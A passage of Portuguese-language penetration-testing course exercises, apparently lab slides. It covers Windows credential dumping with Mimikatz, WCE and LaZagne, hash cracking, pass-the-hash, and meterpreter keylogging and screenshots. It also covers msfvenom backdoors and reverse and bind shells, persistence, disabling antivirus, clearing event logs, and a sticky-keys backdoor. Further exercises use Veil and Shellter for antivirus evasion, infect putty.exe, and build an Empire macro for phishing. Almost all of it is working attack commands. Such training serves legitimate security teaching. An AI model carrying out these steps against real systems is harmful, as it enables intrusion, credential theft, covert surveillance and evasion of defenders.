migrate <PID do processo lsass.exe)
E execute novamente os comandos indicados no passo 1.
Abra o editor de texto(gedit), anote os hashes e salve o arquivo como senhas.txt no caminho /tmp.
Será algo parecido como: Administrator:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552:::
O hash será utilizado no próximo exercício.
Qual a diferença entre estes três comandos executados para obter o hash?
3 – No Windows, abra o gerenciador de tarefas, encontre o processo do ICECAST e o finalize. O que aconteceu com a sua conexão da invasão? 
Por quê?
MIMIKATZ
O mimikatz é uma ferramenta que tem como objetivo explorar a autenticação do Windows. Utilizando o
mimikatz será possível obter senhas em formato texto, hash, códigos de PIN e tickets de kerberos da memória.
Também será possível utilizar o mimikatz para realizar pass-the-hash, pass-the-ticket ou criar Golden tickets.
Onde posso obter:
Última versão do binário pré-compilado
https://github.com/gentilkiwi/mimikatz/releases/latest
Sources
https://github.com/gentilkiwi/mimikatz
MIMIKATZ – Comandos Úteis
log privilege::debug
Sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 
/run:cmd
Kerberos kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-
2365100805-3685010670
/krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
MIMIKATZ – Comandos Úteis
Crypto crypto::capi crypto::cng
crypto::certificates/export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export crypto::keys /machine /export
Valt vault::cred
vault::list token::elevate vault::cred
vault::list lsadump::sam lsadump::secrets lsadump::cache 
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
MIMIKATZ – Windows 8.1 e 10
Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10 de um provedor WDigest.
Quando a Microsoft lançou o Windows 8.1 ela adicionou algumas características de segurança que 
removeram a habilidade de ferramentas como o mimikatz e WCE para realizar o dump de credencias
em texto puro da memória LSA.
Estas funcionalidades estão disponíveis para versões do Windows anteriores ao Windows 8.1 através
da correção de segurança https://support.microsoft.com/en-us/kb/2871997.
Como o WDigest é usado por muitos produtos (como o IIS) a Microsoft deixou o Wdigest provider
ativo. O Windows 8.1 traz uma configuração de chave de registro que permite desativar o 
armazenamento de credenciais em texto puro do Wdigest provider.
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogon
Credential) como o valor padrão de 0, mesmo não aparecendo no Windows 8.1. Isto significar que 
não irá suportar credenciais de logon armazenadas em texto puro na memória LSA.
MIMIKATZ – Windows 8.1 e 10
Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10.
Adicionar a chave de registro
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD
/d 1
Pelo meterpreter
reg createkey -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v
UseLogonCredential -t REG_DWORD -d 1
BLOQUEAR A ESTACACAO DE TRABALHO
rundll32.exe user32.dll,LockWorkStation
WCE – Windows 
Credential Editor
Windows Credentials Editor (WCE) é uma 
ferramenta de segurança para listar sessões de 
logon e adicionar, mudar, listar e deletar 
credenciais associadas (ex.: LM/NT hashes, 
senhas em texto e tickets Kerberos).
O WCE pode ser usada para realizar pass-the-
hash no Windows, obter os hashes NT/LM da 
memória (de logins interativos, serviços, 
conexões remotas de desktop remote desktop 
entre outros), obter tickets de Kerberos e 
reutiliza-los em outros sistemas Windows ou 
Unix, e realizar o dump de senhas em texto 
puro que forma entradas por usuários no
logon.
O WCE poder ser obtido no endereço: 
http://www.ampliasecurity.com/research/win 
dows-credentials-editor/
http://www.ampliasecurity.com/research/win
WCE – Windows Credential Editor
Obter credenciais da memória wce
Modificar minhas credenciais NTLM
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
Obter credenciais de logon da memória em clear text wce –w
Salvar o resultado obtido em um arquivo texto wce –o
Gerar um hash NTLM wce -g
LaZagne
O LaZagne é uma aplicação que obtém as
senhas armazenadas no computador local. 
Com o objetivo de localizar senhas dos
softwares mais comuns, o LAZGNE suporta
22 programas na plataforma microsoft
Windows e 12 em sistemas operacionais 
Linux/Unix.
O LaZagne poder ser obtido no endereço: 
https://github.com/AlessandroZ/LaZagne/r
eleases/
LaZagne
Obter a senha de todos os softwares possíveis 
laZagne.exe all
Obter a senha de um software em especifico 
laZagne.exe browsers
(onde browsers é o software)
Gravar a senha em um arquivo texto 
laZagne.exe all –w
Ajuda
laZagne.exe all –w
Lembre-se que para conseguir algumas senhas
será necessário realizar o bypass no UAC antes
de executar o LaZgne.
Softwares Suportados
Exercicio 11 (Quebrando a senha)
1– Abra um novo terminal (shell) e verifique o arquivo criado com os hashes.
cat /tmp/senhas.txt
2– Instalar o John The Ripper (Não fazer no KALI)
cd /opt
wget http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.xz
tar -xvJf john-1.8.0-jumbo-1.tar.xz mv john-1.8.0-jumbo-1 john
rm john-1.8.0-jumbo-1.tar.xz
su
cd john/src
./configure
make –sj <quantidade de cores configurados para a sua máquina virtual no VMWARE> Exemplo: make –sj 4
3– Executar o John para obter a senha através dos hashes capturados.
john --format=nt /tmp/senhas.txt
4– Quais foram as senhas que o John descobriu?
http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.xz
Movimentação Lateral
Passh the Hash
Exercicio 12 (Pass the hash)
1- Procurar pelo exploit psexec.
search psexec
2– Selecionar o exploit psexec.
msf > use exploit/windows/smb/psexec
3– Configurar o payload de conexão reversa HTTP do meterpreter.
msf exploit(psexec) > set payload windows/meterpreter/reverse_https
4– Verificar as opções de configuração.
show options
5 – Realizar a configuração para que o payload realize a conexão reversa em seu computador, na porta TCC 443. 6 – Configurar o usuário e hash para a exploração. (é
essencial que tenha realizado o Passo ZERO do exercício 8 ).
set smbuser <usuario> set smbpass <hash>
Exemplo - Usando o hash: Administrador:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552::: A configuração seria:
set smbuser administrador
set smbpass aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552
Exercicio 12 (Pass the hash)
7– Executar a exploração.
exploit -j –z
8– Interagir com a sessão aberta e acessar o meterpreter.
9 – Obter privilégio de sistema. (Talvez seja necessário executar o bypassuac, consulte o passo 4 do exercício 5). 10 – Obter o hash.
11– Verifique qual processo você utiliza na exploração e qual é o processo do explorer.exe.
12– Migre para o processo explorer.exe.
migrate <número do processo do explorer.exe>
Ou
migrate –N explorer.exe
Para que tenha acesso a recursos do alvo, como tela, teclado, webcam e outros dispositivos com os quais o usuário interage, é necessário que seja realizada a migração
para o processo explorer.exe.
13– Obtenha um screenshoot da tela do alvo.
screenshot –p /tmp/tela.jpg
Exercicio 12 (Pass the hash)
14 – Ative o Keylogger.
a - Iniciar a captura do teclado.
keyscan_start
b - Abra o bloco de notas no Windows 7 e digite algo.
Volte ao meterpreter e digite o comando a seguir para visualizar o conteúdo capturado.
keyscan_dump
c - Desative o keylogger.
keyscan_stop
Exercicio 13 (usando módulos)
1 – Continuando a partir da exploração do exercício anterior, criar o usuário hacker com privilégios administrativos, mas antes obtenha privilégio
de SISTEMA.
use incognito (carrega o módulo Incognito)
add_user hacker minhasenha (digite uma senha de sua escolha no lugar de minhasenha) 
add_localgroup_user Administradores hacker
2 – Obter hash dos usuários. migrate -N lsass.exe hashdump
3– Ativar o serviço RDP no computador alvo.
run post/windows/manage/enable_rdp
4 – Realizar o portfoward para o alvo portfwd add -l 3389 -r <ip vega> -p
3389
5– Realizar acesso RDP
Através da sua estação de trabalho maliciosa (windows ou linux) acessar via rdp o ip da sua c2 para acessar a vega.
Exercicio x (script)
1– Criar script para automatizar montagem da C2
cd ~
mkdir scripts cd scripts
nano
use multi/handler
set payload windows/meterpreter/reverse_https set LHOST 0.0.0.0
set LPORT 443
set EXITONSESSION false exploit -j –z
salvar e fechar
2 – Abrir o msfconsole usando o script msfconsole -r c2.rb
msfconsole -r c2.rb
Exercicio 14 (backdoor com msfvenom)
1– Crie o seu malware com o encode shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.10 LPORT=443 -e x86/shikata_ga_nai -i 20 -f exe > /tmp/malware.exe
2– Disponibilize o malware por um webserver.
cd /tmp
python –m SimpleHTTPServer 80
3– Abra o metasploit em outra janela do terminal escutando na porta 443 de uma conexão reversa do meterpreter.
msfconsole
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST
192.168.16.10
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j -z
Antes de executar o MALWARE você deve ter alguémpreparado para receber a conexão. Está é a função do multi/handler, que neste caso ficará escutando e esperando 
para receber a conexão reversa do meterpreter.
Exercicio 14 (backdoor com msfvenom)
4 – No Windows você deverá abrir o browser acessando o IP de seu computador (LINUX – DEBIAN) 
e fazer download do malware para o seu desktop.
• http://192.168.16.10/malware.exe
5– Executar o malware.
6 – No C:\ do Windows criar uma pasta chamada Confidencial e dentro desta pasta criar um
arquivo texto com o nome de secreto.txt, escrevendo o texto SECRETO dentro do arquivo.
7 – Voltar para Debian Linux e no metasploit interagir com a sessão do
meterpreter. 8 – Obter o privilégio de SISTEMA no computador alvo.
9 – Obter o hash.
http://192.168.16.10/malware.exe
10– realizar o download do arquivo secreto.
download c://confidencial//secreto.txt /tmp/
Se não conseguiu talvez o nome do seu arquivo esteja errado. Verifique o nome do arquivo e tente realizar o download
com o comando.
download c://confidencial//secreto.txt.txt
11– realizar download da calculadora do windows para a pasta /tmp.
download c://windows//system32//calc.exe /tmp/calc.exe
12– Limpar os logs do Event Viewer do Windows para dificultar a tentativas de identificação de seu ataque.
clearev
13– Encerre a exploração realizada.
Exercicio 14 (backdoor com msfvenom)
Exercicio 15 (shell para meterpreter)
1– Confirme se o Firewall do Windows está desativado.
2– Gerar o seu malware.
• msfvenom -p windows/shell_bind_tcp LPORT=6666 -f exe > /tmp/malware2.exe
2– Disponibilize o malware por um webserver.
• cd /tmp
• python -m SimpleHTTPServer 80
3 – Realize download do malware no desktop do Windows e execute o arquivo. 4 – no shell do 
linux execute o comando.
• nc 192.168.16.20 6666
• Será aberto um shell
• 5 – Sai do shell com o comando exit e execute novamente o arquivo malware2.exe no Windows.
Exercicio 15 (shell para meterpreter)
6– Abra o msfconsole e execute o multi/handler usando o mesmo payload da arquivo malware3.exe.
msfconsole
msf > use multi/handler
msf exploit(handler) > set payload windows/shell_bind_tcp msf exploit(handler) > set RHOST 192.168.16.20
msf exploit(handler) > set LPORT 6666
msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j –z
7– Liste a sessão. Agora você possui uma sessão do tipo shell.
sessions –l
8– Transforme a sessão em uma sessão do tipo meterpreter.
sessions –u <número da sessão>
9– Listar a sessão e interagir com a sessão meterpreter.
sessions –l
Qual a diferença entre a sessão do shell do Windows e do Meterpreter?
sessions –i <número da sessão meterpreter>
Exercicio 15 (shell para meterpreter)
10– Obter privilégio de sistema.
11– Obter o hash.
12– Acessar o alvo através do VNC.
run vnc
Exercicio 16 (persistência)
1– Comprometer o alvo usando alguma das técnicas que você aprendeu.
2– Obter o privilégio de sistema.
3– Migrar para o processo lsass.exe.
4– Desativar antivirus e defesas do alvo.
• run getcountermeasure -d –k
5– Realizar a enumeração do alvo.
• run winenum
• Analisar as informações coletadas com o winenum
• (Atentar-se ao local salvo no início da execução do winenum “Saving report to”.)
Exercicio 16 (persistência)
6– Criar a persistencia para o alvo sempre se conectar em você.
run persistence –A –U –X –i 30 –p 443 –r 192.168.16.10
7 – Reiniciar o Windows e logar como o mesmo usuário que foi comprometido. 8 – Aguardar a conexão no meterpreter.
8 – Aguardar a conexão no meterpreter.
9 – Obter privilégio de SYSTEM.
DICAS
use exploit/windows/local/persistence set
STARTUP SYSTEM
set SESSION <NUMERO DA SUA SESSÃO DA INVASÃO>
set payload windows/meterpreter/reverse_https
set LHOST <IP DO KALI> set
LPORT 443
exploit
PERSISTENCIA DENTRO DO METERPRETER
run persistence -p windows/meterpreter/reverse_tcp -r 10.0.0.132 -p 443 -
A -X -i 30
Exercicio 17 (Exploração completa)
1– Comprometer o alvo através da vulnerabilidade do CVE2017-0143(MS17-010) .
(Lembre-se de que você não pode ser detectado, seja discreto e use um payload de conexão reversa que seja criptografado e não chame a atenção)
2 – Obter informações inciais do alvo (sysinfo). 3 – Escalar privilégio para
SYSTEM.
4 – Desativar defesas do alvo. (antivírus e firewall) 5 – Obter hashes do usuário.
6 – Obter senha em formato de texto. 7 – Ativar persistência.
8– Ativar Keylogger.
9– Ativar o acesso RDP no alvo.
10– Realizar a enumeração (winenum).
11– Realizar o acesso via VNC e reiniciar o computador alvo.
Exercicio 17 (Exploração completa)
12– Verificar se a persistência funcionou após o computador ser reiniciado.
13 – No alvo, criar um usuario chamado hacker e inseri-lo no grupo de administradores locais. 14 – Acessar o alvo
através de RDP usando o usuário hacker e em seguida fechar a sessão RDP. 15 – Ativar a persistência através do sticky
keys.
run post/windows/manage/sticky_keys
16– Acessar o alvo via RDP e testar o acesso via sticky keys.
Abrir a sesão de RDP mas não inserir o usuário e senha. Apertar a TECLA SHIFT 5 vezes. Será aberto um shell do Windows com privilégio de sistema que 
fornecerá controle total do ambiente.
17– Limpar logs de evento do computador alvo.
• Agora você pode voltar ao alvo quando quiser e de diferentes formas. Matenha o alvo monitorado.
Bypass Antivirus
VEIL
Veil-Evasion –
Introducão
O Veil-Evasion (https://www.github.com/Veil-
Framework/Veil-Evasion/) é uma ferramenta para 
gerar arquivos executáveis de um payload com o 
objeto de não ser detectado por soluções de
antivírus. O Veil gerará payloads aleatórios e únicos,
podemos comparar estes payloads a malwares
polymorphic que mudam quando se movem de um 
host para o outro, dando a eles a vantagem sobre as 
solucoes antimalware tradicionais baseados em 
assinaturas, como a maioria dos antivirus.
O Veil-Evasion é parte do Veil-Framework 
(https://github.com/Veil-Framework/Veil), que é uma 
coleção de ferramentas de segurança ofensivas que
implementam vários métodos de ataque focados en
evitar a deteção.
http://www.github.com/Veil-
Veil-Evasion – Linguagens dos Payloads
• A partir do Veil-Evasion será possível gerar payloads de forma automática utilizando 
linguagens como:
C C# GO Perl
Powershell Python Ruby
Veil-Evasion – Linguagens dos Payloads
• A partir do Veil-Evasion será possível utilizar payloads como
meterpreter/rev_tcp meterpreter/rev_http meterpreter/rev_https
shellcode_inject/virtual
Veil-Evasion – Gerando o Payload
Veil-Evasion - Gerando o Payload
• Exemplo:
[menu>>]: list [menu>>]: info 32
[menu>>]: use 32
[python/meterpreter/rev_https>>]: options
[python/meterpreter/rev_https>>]: set LHOST 10.0.0.200 [i]
LHOST => 10.0.0.200
[python/meterpreter/rev_https>>]: set LPORT 443
[i] LPORT => 443
[python/meterpreter/rev_https>>]: generate
[>] Please enter the base name for output files (default is 'payload'): payload_python
[>] Please enter the number of your choice: 2
Veil-Evasion - Gerando o Payload
Resultado final:
• [*] Executable written to: /root/veil-output/compiled/payload2.exe
• Language: python
• Payload: python/meterpreter/rev_https Required
• Options: COMPILE_TO_EXE=Y LHOST=10.0.0.200 LPORT=443
• USE_PYHERION=N
• Payload File: /root/veil-output/source/payload2.py
• Handler File: /root/veil-output/handlers/payload2_handler.rc
Veil-Evasion – Command Line
Através de linha de compando será possível criar payloads, assim como os
criados pelos msfvenon.
veil-evasion.py -p go/meterpreter/rev_https -c LHOST=$lhost LPORT=$port –o
payload
-p = selecionar o payload
-c = informar as opções de configuração do payload
-o = arquivo de saída para o fonte e binários compilados.
Veil-Evasion – Exploração
Bypass Antivirus
Shellter
Shellter – Introducão
Executáveis criados através Metasploit, ou por outros 
framworks de teste de penetração, serão provavelmente 
detectados pela maioria de fornecedores de antivírus.
Usando Shelter, vocêautomaticamente tem um template
executável polimórico, já que você pode usar qualquer 
executável 'autônomo' nativo de 32 bits do Windows 
executável para hospedar seu shellcode. Por 'autônomo' 
significa um executável que não é estaticamente ligado a 
qualquer DLLs de propriedade, além daqueles incluído por 
padrão no Windows.
O Shellter será capaz de infectar outros arquivos 
executáveis mantendo a funcionalidade original do arquivo 
infectado.
Shellter – Introducão
O Shellter é uma ferramenta para a injeção de shellcode de forma dinâmica, sendo um PE infector (etenda PE
como um Portable Executable – arquivo executável portátil) dinâmico. Ele pode ser usada para injetar shellcode
em aplicações Windows (somente 32-bit). O shellcode pode ser algo seu ou algo gerado através de um
framework como o Metasploit.
O Shellter tira vantagem da estrutura atual de um arquivo PE e não aplica qualquer modificação que mudará a
permissão como de alteração em permissões de acesso em seções da memória (a menos que o usuário precise),
adicionando uma seção estra com acesso RWE.
O Shellter não é apenas um infector EPO que tenta encontrar um local para inserir uma instrução para
redirecionar a execução para o payload. Ao contrário de outros infectors, o engine avançado de infecção do
Shellter, nunca transfere o fluxo de execução para um code cave ou para uma secão adicionada no arquivo PE
infectado.
Você pode realizar download do Shellter através do endereço 
https://www.shellterproject.com/download/
http://www.shellterproject.com/download/
http://www.shellterproject.com/download/
Shellter – Exploração
Exercício 18 – Instalação do Veil Framework
1– Abra o shell do KALI (terminal) e seguir as instruções abaixo.
cd ˜
mkdir Tools
cd Tools
2– Realizar a clonagem do repositório de instalação do VEIL FRAMEWORK.
git clone https://github.com/Veil-Framework/Veil.git
3– Iniciar o processo de instalação do VEIL FRAMEWORK.
cd Veil
./Install.sh -c (Será iniciado o processo de clonagem do repositório de instalação por completo do Veil Framework)
Continue With Installation? ([y]es/[s]ilent/[N]o): y
Quando for exibido a tela de instalação do Python e outras ferramentas,realizar a instalação usando as opções padrões (NEXT -> NEXT-> FINISH)
Se tiver problemas no acesso do Veil-Evasion delete o seu perfil do wine e execute o setup do Veil-Evasion.
rm -rf ~/.wine/
/root/Tools/03_Exploitation/Veil/Veil-Evasion/setup/setup.sh
Exercício 19 – Geração de payloads
1 – Inicie o Veil-Evasion
cd ~
cd Tools/PayloadGeneration/Veil
./Veil.py (quem não tiver o VEIL na pasta TOOLS digitar veil-evasion no shell)
2– Selecione o Veil Evasion
use 1
3– Listar os payloads disponíveis no Veil-Evasion.
list
4- Solicite informações sobre o payload python/meterpreter/rev_https.
info 27
5- Selecione o payload python/meterpreter/rev_https para ser utilizado.
use 27
6- Verificar as informações que devem ser configuradas no payload.
options
Exercício 19 – Geração de payloads
7 – Configurar as informações necessárias do payload.
set LHOST <IP DO SEU LINUX> set LPORT 443
set USE_PYHERION Y (Fará a criptografia no payload)
8 - Gerar o payload.
generate
Quando for solicitado o nome do payload, informe: python_payload
Quando perguntado sobre como você deseja criar o seu payload, selecione: 1 (default)
7 - Copiar o payload para o alvo e solicitar que seja efetuada a varredura do antivírus no payload copiado. 8 - Ativar o multi/handler no msfconsole utilizando as
mesmas configurações realizadas no payload.
msfconsole -r /root/veil-output/handlers/python_payload_handler.rc
9 - Executar o payload no alvo e confirmar a exploração.
10 – Repita o exercício usando os payloads a seguir e compare o tamanho entre os arquivos de payload gerados.
• go/meterpreter/rev_https;
• cs/meterpreter/rev_https
Exercício 20 – Veil + Shellcode
1– Selecione o payload go/shellcode_inject/virtual
• use go/shellcode_inject/virtual
2– Verifique as configurações e gere o payload
• options generate
3– Preparar o shell code
A. Selecionar a opção de shell code msfvenom (default);
B. Selecionar o payload digitando windows/x64/meterpreter/reverse_https
C. Informar o LHOST e LPORT
D. Pressionar enter, sem informar opcoes adicionais para o msvenon
4- Definir o nome go_shellcode para o payload
5 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão. 6 - Executar o payload no alvo e
confirmar a exploração.
Exercício 21 – Veil CLI
1– Abra o shell de sua distribuição Linux (terminal).
2– Gere um novo payload go/meterpreter/rev_https.
./Veil.py -t Evasion -p python/meterpreter/rev_https.py --ip 10.0.0.136 --port 443 -o malware
-p = selecionar o payload
--ip = ip de retorno do shell reverso
--port = porta de retorno para o shell reverso.
-o = arquivo de saída para o fonte e binários compilados.
3– Copie o payload para o alvo.
4 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão. 5 - Executar o payload no alvo e
confirmar a exploração.
Exercício 22 – Gerando Macros
1– Selecione o payload powershell/meterpreter/rev_https
• [menu>>]: use 23
2 – Configure o payload [powershell/meterpreter/rev_https>>]: set LHOST 10.0.0.200 
[powershell/meterpreter/rev_https>>]: set LPORT 443 
[powershell/meterpreter/rev_https>>]: generate
Quando solicitado o nome do arquivo, insira powershell.
3– Copie o path do payload gerado
• /root/veil-output/source/powershell.bat
Exercício 22 – Gerando Macros
4– Selecione o auxiliar auxiliary/macro_converter
[menu>>]: use 2
5 – Configure o auxiliar apontando o arquivo gerando no passo 2. 
[auxiliary/macro_converter>>]: set POSH_BATCH /usr/share/veil-output/source/macro.bat 
[auxiliary/macro_converter>>]: generate
6– Visualize o macro gerado.
/usr/share/veil-output/source/macrofinal.txt
Este arquivo poderá ser adicionado como macro em aplicativos do Microsoft Office como Word ou
Excel. 
Em exercícios seguintes você testará o arquivo MACRO.
Exercício 23 – Veil e PSEXEC
(Movimentação Lateral)
1– Gere um payload através de linha de comando no Veil
2 – Ative o multi/handler no msfconsole para receber a conexão do payload que você gerou. 
3 – Envie o payload para o alvo através do PSEXEC, usando a técnica de PtH (Pass the Hash) 
psexec.py -hashes <hash do alvo> usuário@IP_DO_ALVO cmd.exe -c PAYLOAD_GERADO.exe 
Exemplo:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537
administrator@10.0.0.100 cmd.exe -c payload.exe
Ou
psexec.py usuário:’senha’@IP_DO_ALVO cmd.exe –c PAYLOAD_GERADO.exe
mailto:administrator@10.0.0.100
Exercício 24 – Instalação do Shellter
1– Abra o shell do KALI (terminal) e seguir as instruções abaixo.
2– Realize a instalação do Shellter
apt-get update
apt-get install shellter
Exercício 25 – Infeção de PE
1– Realize do download do arquivo putty.exe no KALI através do site https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
2 – Abra o shell do KALI (terminal) e seguir as instruções abaixo. 3 – Inicie o Shellter.
shellter
4– Selecione o modo Auto digitando a letra A.
5– Insira o caminho do arquivo executável que você quer infectar
/root/Downloads/putty.exe
6 – Em ”Enable Stealth Mode” digite a opção Y para garantir que as funções de seu arquivo executável sejam preservadas. 6 – Selecionar
para usar um payload listado pressionando a letra L.
7 – Selecionar o payload Meterpreter_Reverse_HTTPS pressionando digitando o número 3. 8 – Insira o endereço de
sua distribuição LINUX em SET LHOST.
• 9 – Insira a porta 443 em SET LPORT.
Exercício 25 – Infeção de PE
10– Será iniciada a infecção do arquivo PE.
Este processo pode demorar alguns minutos.
11– Após o términio de infecção, será exibido uma mensagem solicitando que pressione a tecla ENTER.
Após pressionar a tecla solicitada o shellter será finalizado.
12– Abra o msfconsole e ative o exploit multi/handler com as mesmas configuracoes de payload, lhost e lport
utilizadas no shellter. 13 – Copie o arquivo infectado no alvo e o executeem seguida.
• 14 – Você deve receber o shell do alvo em seu msfconsole.
Conquistando com
EMPIRE
PowerShell
Windows PowerShell é um shell de linha de comandos desenvolvido pela
Microsoft, com o propósito de automatizar tarefas e gerenciar configurações
do sistema operacional. O PowerShell providencia um accesso a diversas
bibliotecas do Microsoft Windows, permitindo com que administradores
automatizem tarefas administrativas locais ou remotas.
No PowerShell, as tarefas administrativas são
geralmente realizadas por cmdlets, que são classes
especializadas de .NET para implementar uma
operação em particular. Um conjunto de cmdlets
podem ser combinados em scripts, executáveis, ou
instanciando classes .NET (ou Objetos WMI/COM).
PowerShell
POST EXPLOITATION LANGUAGE DA MICROSOFT
Porque usar Power Shell no processo de pós exploração?
• Acesso simples para sockets de rede;
• Habilidade de montar binários maliciosos na memória;
• Acesso direto para o Win 32 API;
• Interface simples para o WMI;
• Fácil acesso para bibliotecas de criptografia;
• Dificuldade de detecção por antivírus e por 
ferramentas convencionais de segurança –
“Considerado confiável";
• Não toca no disco, posso executar todos os meus
processos direto na memória, dificultando a identificação
do artefato malicioso;
• É nativo em todos os Microsoft Windows 7+.
PowerShell
Malwares
Tarefas comuns de
um malware:
• Dowload + Executar
código;
• Interagir com C2;
• Persistência;
• Se esconder;
• Roubar.
Malware Vawtrack
Malware Poshcoder
TODAS Tarefas possíveis através 
do uso do Powershell.
Alguns malwares que 
usam Powershell: Falar 
sobre powersniff
• Preshin;
• Poshcoder;
• Poweliks;
• HappyCat;
• Powerworm;
• Vawtrack.
PowerShell
Segurança Ofensiva
Existem diversas ferramentas com foco em segurança ofensiva que usam todo o poder do
Microsoft Powershell para comprometer um sistema operacional Microsoft Windows.
Estas ferramentas ou frameworks contém scripts com a capacidade de exploração, escalação
de privilégio, gerenciamento de processos, coleta de informações e diversas outras ações
que poderão ser utilizadas durante um ataque.
As principais ferramentas são:
• Powersploit (https://github.com/mattifestation/PowerSploit);
• Nishang (https://github.com/samratashok/nishang);
• Veil Power Tools (https://github.com/PowerShellEmpire/PowerTools).
Empire
Empire é uma agente de pós-exploração que utiliza PowerShell
com uma arquitetura flexível e comunicação criptografada.
O Empire implementa a habilidade de executar agentes
PowerShell sem precisar do powershell.exe, podendo distribuir
uma variedade de módulos de exploração, mantendo uma
comunicação adaptável para evadir a detecção de rede, tudo
empacotado em um framework focado na usabilidade.
Funções de um RAT, com a flexibilidade de um C2 e toda a
capacidade que o Powershell possui para assumir o controle do
sistema operacional Microsoft Windows.
Empire
Arquitetura
Arquitetura Cliente Servidor, sendo:
• Servidor: Python
• Cliente: Powershell
• Apoiado por uma base de dados backend
que mantém as configurações utilizadas 
salvas.
Composto por:
• Listeners;
• Stagers;
• Agents.
Empire
Arquitetura - Listener
Conceito similar ao multi/handler do
Metasploit, mas com muitas melhorias.
Funções interessantes:
• Kill dates e Working
Hours;
• Foreign listeners;
• White e Black lists de IP.
Empire
Arquitetura - Stager
• Bloco de comando que vai carregar um agente do
empire que é gerado por um listener.
• Formatos:
• dll;
• hop_php;
• launcher;
• launcher_vbs;
• launcher_bat;
• pth_wmis;
• war;
• ducky;
• hta;
• macro.
Empire
Arquitetura – Agents - Módulos
Mais de 100 módulos.
• Code_execution – Formas de executar um código;
• Credencials – Coletar e usar credenciais;
• Collection – Coleta de dados;
• Lateral_movement – Movimentação pela rede;
• Management – Gerenciamento do host;
• Persistência – Manter-se conectado ao host;
• Privesc – Escalação de privilégio;
• Situational Awareness – Conscientização da rede;
• Trollsploit – para diversão.
Empire
Mas o que realmente eu consigo fazer e até onde um consigo 
chegar usando o EMPIRE?
Fases de um ataque
DEMO
Uso do Empire nas fases de um ataque.
Exercício 26 - Estudo de Caso
• Seu objetivo será comprometer um computador alvo através de uma 
campanha de phishing.
Após comprometer o computador alvo você terá que realizar as seguintes 
tarefas:
- Criar um mecanismo de persitência;
- Manter o computador alvo sendo monitorado;
- Coletar informações como senhas e arquivos confidenciais;
- Trollar o alvo;
- Realizar a movimentação lateral (opcional).
Preparação
Ativação do EMPIRE
Objetivo: Instalar e acessar o EMPIRE.
1– No shell do LINUX (terminal) acessar o seu diretório home.
$ cd ~
2– Criar um diretório para armazenar o EMPIRE.
$ mkdir gitrepos
$ cd gitrepos/
3– Realizar o download do empire.
/gitrepos$ git clone https://github.com/PowerShellEmpire/Empire.git
4– Instalar o Empirec
/gitrepos$ cd Empire/setup/
/gitrepos/Empire$ ./install.sh
Insira uma senha segura quando exibido a mensagem a seguir.
[>] Enter server negotiation password, enter for random generation: <
5– Executar o Empire com permissões administrativas e confirmar se a instalação foi bem sucedida.
/gitrepos/Empire$ ./empire
Preparação
Ativação do listener
rObjetivo: Preparar o listener para receber as conexões dos alvos comprometidos.
1– Acessar o Empire cd /Tools/C2/Empire
./empire
1– Após executar o EMPIRE, acessar o módulo de listeners.
(Empire) > listeners
2– Verificar as configurações do listener. 
(Empire: listeners) > uselistener http
(Empire: listeners) > info
3- Configurar o horário de trabalho do agente que será utilizado pelo listener.
(Empire: listeners) > set WorkingHours 00:00-23:59
4– Configurar o endereço IP do HOST que receberá a conexão reversa no listener.
(Empire: listeners) > set Host 192.168.16.10
5– Configurar a porta TCP que receberá a conexão reversa no listener.
(Empire: listeners) > set Port 80
Preparação
Instalação do Empire
6– Configurar o nome do listener.
(Empire: listeners) > set Name PhishingCampaign
7– Confirmar se as configurações do listener estão corretas, conforme solicitado nos exercícios anteriores.
(Empire: listeners) > info
8– Ativar o listener.
(Empire: listeners) > execute
9– Confirmar a execução do listener.
(Empire: listeners) > listeners
Se tudo deu certo, você receberá como retorno a informação similar a figura a seguir.
Exploração
Client side attack - Macro
Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando uma
planilha EXCEL com macro.
1– Criar um arquivo macro que será inserido em um documento Microsoft Office.
(Empire: listeners) > usestager windows/macro PhishingCampaign
2– Verificar as configurações do stager de macro.
(Empire: listeners) > info
3– Gerar o arquivo de macro.
(Empire: listeners) > execute
Se tudo der certo, será gerado um arquivo macro no /tmp.
[*] Stager output written out to: /tmp/macro
4– Verifique o conteúdo do arquivo /tmp/macro.
Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando:
cat /tmp/macro
Selecione e copie todo o conteúdo do arquivo.
Exploração
Client side attack - Macro
5 – Abrir o Microsoft Excel 2013, clique no menu View, no botão Macros e no submenu View
Macros.
Será aberta a caixa de Macro, digite a palavra pwned em Macro name e clique no botão 
Create, conforme demonstrado na imagem a seguir.
Exploração
Client side attack - Macro
• 6 – Será aberta a tela do Visual Basic for Applications. Delete todo o conteúdo existente e cole o conteúdo copiado do
arquivo de macro gerado pelo agente do EMPIRE.
